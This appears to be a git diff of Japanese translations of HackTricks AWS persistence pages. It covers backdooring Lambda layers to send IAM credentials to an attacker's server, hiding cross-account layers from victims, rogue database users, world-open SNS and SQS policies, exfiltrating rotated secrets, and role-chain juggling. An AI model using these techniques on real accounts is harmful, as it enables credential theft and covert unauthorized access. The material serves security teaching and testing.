In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
|
||||
この例では、ターゲットコードが**`csv`**をインポートしていると仮定します。私たちは**`csv`ライブラリのインポートにバックドアを仕掛ける**つもりです。
|
||||
|
||||
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
|
||||
This file must:
|
||||
そのために、**`/opt/python/lib/python3.9/site-packages`**に**csv**というディレクトリを作成し、その中に**`__init__.py`**ファイルを置きます。\
|
||||
その後、lambdaが実行されて**csv**を読み込もうとすると、私たちの**`__init__.py`ファイルが読み込まれ、実行されます**。\
|
||||
このファイルは以下を行う必要があります:
|
||||
|
||||
- Execute our payload
|
||||
- Load the original csv library
|
||||
- 私たちのペイロードを実行する
|
||||
- 元のcsvライブラリを読み込む
|
||||
|
||||
We can do both with:
|
||||
私たちは両方を次のように行うことができます:
|
||||
```python
|
||||
import sys
|
||||
from urllib import request
|
||||
@@ -87,7 +87,7 @@ sys.modules["csv"] = _csv
|
||||
|
||||
このコードは [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) で見つけることができます。
|
||||
|
||||
統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**(コードの変更またはコールドlambda)、しかし、**他の技術**も以下のように統合することができます:
|
||||
統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**(コードの変更またはコールドlambda)、しかし**他の技術**も以下のように統合することができます:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
@@ -95,14 +95,14 @@ sys.modules["csv"] = _csv
|
||||
|
||||
### 外部レイヤー
|
||||
|
||||
**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは、権限がなくても外部アカウントのレイヤーを使用できます。\
|
||||
また、**lambdaが持つことができるレイヤーの最大数は5です**。
|
||||
**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは権限がなくても外部アカウントのレイヤーを使用できます。\
|
||||
また、**lambdaが持てるレイヤーの最大数は5です**。
|
||||
|
||||
したがって、この技術の汎用性を向上させるために、攻撃者は次のことを行うことができます:
|
||||
|
||||
- ユーザーの既存のレイヤーにバックドアを仕掛ける(外部のものは何もない)
|
||||
- **自分のアカウントに** **レイヤー**を**作成**し、**被害者アカウントに**そのレイヤーを使用するアクセスを**与え**、**被害者のLambdaに**その**レイヤーを**設定し、**権限を削除**します。
|
||||
- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**(lambda内でリバースシェルを取得することを除いて)
|
||||
- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**(lambda内でrev shellを取得することを除いて)
|
||||
- 被害者は**`aws lambda list-layers`**を使用して**外部レイヤーを確認できません**。
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
|
||||
@@ -28,6 +28,6 @@
|
||||
|
||||
- あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う
|
||||
- ドメインから**メール**を送信できるようにする**SPF**レコードを作成する
|
||||
- **メインドメインのIPを自分のものに設定し、正当なものへの**MitM**を行う
|
||||
- **メインドメインのIPを自分のものに設定し**、あなたのIPから正当なものへの**MitM**を実行する
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -18,7 +18,7 @@ aws rds modify-db-instance --db-instance-identifier target-instance --publicly-a
|
||||
```
|
||||
### DB内に管理者ユーザーを作成する
|
||||
|
||||
攻撃者は**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
|
||||
攻撃者は単に**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。
|
||||
|
||||
### スナップショットを公開する
|
||||
```bash
|
||||
|
||||
@@ -12,14 +12,14 @@
|
||||
|
||||
### KMS クライアントサイド暗号化
|
||||
|
||||
暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキー (`aws kms generate-data-key`) を生成し、**生成された暗号化キーをファイルのメタデータ内に保存します** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))。これにより、復号化が行われるときに再度 KMS を使用して復号化できます:
|
||||
暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキーを生成します(`aws kms generate-data-key`)そして、**生成された暗号化キーをファイルのメタデータ内に保存します**([python コード例](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))ので、復号化が行われるときに再度 KMS を使用して復号化できます:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
したがって、攻撃者はメタデータからこのキーを取得し、KMS (`aws kms decrypt`) を使用して復号化し、情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用されている場合、使用することができます。
|
||||
したがって、攻撃者はメタデータからこのキーを取得し、KMS(`aws kms decrypt`)を使用して情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用される場合、使用することができます。
|
||||
|
||||
### S3 ACL の使用
|
||||
|
||||
通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者は、それらを悪用することができます(有効な場合や攻撃者が有効にできる場合)ので、S3 バケットへのアクセスを維持できます。
|
||||
通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者はそれらを悪用することができます(有効な場合や攻撃者がそれらを有効にできる場合)ので、S3 バケットへのアクセスを維持できます。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
詳細については、次を確認してください:
|
||||
詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
@@ -12,13 +12,13 @@
|
||||
|
||||
### リソースポリシーを介して
|
||||
|
||||
リソースポリシーを介して**外部アカウントに秘密へのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privescページ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**秘密にアクセスする**には、外部アカウントも**秘密を暗号化するKMSキーへのアクセスが必要**です。
|
||||
リソースポリシーを介して**外部アカウントにシークレットへのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**シークレットにアクセスする**には、外部アカウントも**シークレットを暗号化しているKMSキーへのアクセスが必要**です。
|
||||
|
||||
### Secrets Rotate Lambdaを介して
|
||||
|
||||
秘密を自動的に**回転させる**ために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しい秘密を自分に流出させる**ことができます。
|
||||
シークレットを自動的に**ローテーション**するために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しいシークレットを自分に流出**させることができます。
|
||||
|
||||
このようなアクションのためのLambdaコードは次のようになります:
|
||||
このようなアクションのためのlambdaコードは次のようになります:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SNS
|
||||
|
||||
詳細については、以下を確認してください:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
@@ -12,8 +12,8 @@
|
||||
|
||||
### Persistence
|
||||
|
||||
**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
|
||||
以下のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます:
|
||||
**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きする権限を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
|
||||
次のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -63,11 +63,11 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
### Create Subscribers
|
||||
### サブスクライバーの作成
|
||||
|
||||
すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのためにサブスクライバーを作成する**ことができます。
|
||||
すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのサブスクライバーを作成**することができます。
|
||||
|
||||
**トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
|
||||
**トピックがFIFOタイプ**の場合、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
|
||||
@@ -12,8 +12,8 @@
|
||||
|
||||
### リソースポリシーの使用
|
||||
|
||||
SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\
|
||||
次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのものへのアクセスを許可します:
|
||||
SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することが可能です。\
|
||||
次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのアクセスを許可します:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -32,6 +32,6 @@ SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っ
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**(再度追加する必要があります)。これに関しては、以下の指示に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
> 新しいメッセージがキューに追加されるたびに、**攻撃者のアカウントでLambdaをトリガーすることもできます**(再度追加する必要があります)。これについては、次の手順に従ってください: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1 +1 @@
|
||||
# AWS - SSM Perssitence
|
||||
# AWS - SSM 永続性
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### ステップ関数のバックドア
|
||||
|
||||
ステップ関数にバックドアを仕掛けて、実行されるたびに悪意のあるステップを実行するようにします。
|
||||
ステップ関数にバックドアを仕掛けて、持続性のトリックを実行させることで、実行されるたびに悪意のあるステップを実行させることができます。
|
||||
|
||||
### バックドアリングエイリアス
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Assume role token
|
||||
|
||||
一時的なトークンはリストできないため、アクティブな一時的トークンを維持することが持続性を維持する方法です。
|
||||
一時的なトークンはリストできないため、アクティブな一時トークンを維持することが持続性を保つ方法です。
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
@@ -22,13 +22,13 @@ aws sts get-session-token \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
|
||||
<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
|
||||
</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
|
||||
<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的な方法**で最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
|
||||
[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的に**最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
|
||||
|
||||
この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます:
|
||||
```bash
|
||||
@@ -40,7 +40,7 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成できるすべての方法を見つけるわけではありません。
|
||||
> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成されるすべての方法を見つけるわけではありません。
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
Reference in New Issue
Block a user